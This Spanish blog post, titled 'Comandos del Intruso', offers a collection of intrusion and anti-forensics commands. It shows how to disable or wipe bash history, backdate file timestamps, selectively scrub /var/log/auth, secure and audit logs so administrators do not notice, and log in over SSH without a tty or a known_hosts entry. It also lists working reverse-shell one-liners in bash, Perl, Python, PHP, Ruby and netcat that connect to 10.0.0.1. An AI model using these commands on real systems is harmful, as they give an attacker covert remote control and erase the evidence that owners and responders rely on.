Comandos del Intruso

En algunas ocasiones, cuando se hacen pruebas de seguridad, es indispensable asegurarse de evitar dejar cualquier rastro de intrusión,  aqui hay algunos comandos o truquitos que son muy interesantes a la hora de ocultar nuestros rastros, algunos de estos comandos  los aprendi de Storm de la comunidad de Go Null Yourself, una comunidad muy interesante.

Ahora a lo que venimos…

.bash_history

Algunas cosas simples,  cuando un usuario accesa a un server y comienza a moverse en el, los logs comienzan a guardar sus movimientos, uno de ellos es que se comienzan a guardar los comandos dentro de el «.bash_history».

Podemos detener que esto suceda con el siguiente comando…

$ unset HISTFILE

o ya sea, exportandolo…

$ export HISTFILE=/dev/null

con esto detenemos que se guarden aunque, tambien podemos simplemente, borrar y crearlo de nuevo con

$ rm .bash_history && touch .bash_history

con esto estamos borrando .bash_history y a su vez estamos creando uno nuevo con la fecha de hoy, o simplemente quitar aquellos comandos que utilizamos nosotros dentro del sistema. También podemos cambiarle la fecha a un fichero modificandola primero a nuestro sistema con

$date -s "2012-01-12 19:13:29"

y despues procedemos a modificarle la fecha al archivo con el siguiente comando.

$touch ble.txt

podemos despues ver los stats de dicho archivo y saldria algo parecido a esto

$stat archivo.txt

File: «ble.txt»
Size: 0 Blocks: 0 IO Block: 4096 fichero regular vacío
Device: 806h/2054d Inode: 3421006 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 1000/juancarlos) Gid: ( 1000/juancarlos)
Access: 2012-01-12 19:13:29.929059168 +0000
Modify: 2012-01-12 19:13:29.017059168 +0000
Change: 2012-01-12 19:13:29.017059168 +0000

después debemos modificar la fecha de sistema, pues podria eso ser motivo de ser atrapados, algo también que podemos hacer si queremos vaciar un fichero sin tener que borrarlo es, crear un script vacio, por ejemplo, llamarlo, «insecure».

$touch insecure

y despues lo vaciamos en el archivo con…

$cat insecure > archivo.txt

o

$ cat /dev/null > archivo.txt

para vaciar dicho fichero.

Logs de Sistema

dentro del sistema se guardan logs de todo lo que ocurre dentro de el, y que podrian advertirle al administrador de nuestra intrusión, algunos de estos se almacenan dentro de /var/log,  dentro de eso podemos quitar cualquier entrada que tenga que ver con nuestra intrusión en estos directorios.

/var/log/messages*
/var/log/secure*
/var/log/audit*
/var/log/auth*

Borrarlos causaría mucha sospecha, recomiendo solo quitar manualmente lo que no se necesite saber 😉

SSH

En el momento en que decidimos entrar, ya sea por una conexion ssh, hay ciertos parametros que podemos usar para entrar de forma mas silenciosa.

el parametro -T nos daria que al conectarnos, no nos asigne un tty, dando asi que no estemos enlistados con el comando «w».

ssh -T [email protected]

al no tener tty, pues… no tendriamos con que movernos cierto?

podemos agregar el comando «bash -i»

ssh -T [email protected] bash -i

o, finalmente, podemos evitar ser escritos en el archivo de known_hosts con lo siguiente.

ssh -T -o UserKnownHostsFile=/dev/null [email protected] bash -i

Reverse Shell

Quizá quieran generar una conexión hacia nosotros una vez que han tenido acceso para mantenerse dentro, bueno…

aquí hay unos scripts de pentestmonkey para generarnos una shell hacia nosotros, queda en ustedes elegir el lenguaje y ejecutarlos, o correrlos desde terminal como comando.

Bash
$ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Perl
$ perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");exec("/bin/sh -i");};'

Python
$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP
$ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

# Assuming that the TCP connection uses file descriptor 3

Ruby
$ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;
exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

para mostrarnos la shell en xterm, el siguiente comando debe correrse en el objetivo.

$ xterm -display 10.0.0.1:1

mientras que esto lo corremos en el host que recibira.

$ Xnest :1
$ xhost +ipdelobjetivo.

o Por si quieren generar un netcat.

$ nc -e /bin/sh 10.0.0.1 1234

si no puedes usar el -e, usa este.

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Espero que les sirva, agradecimientos a Storm de GNY, y pentestmonkey, Cualquier comando que también consideren que podrían servir, compartanlos 🙂

Comandos del Intruso
Etiquetado en:     

Un pensamiento en “Comandos del Intruso

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *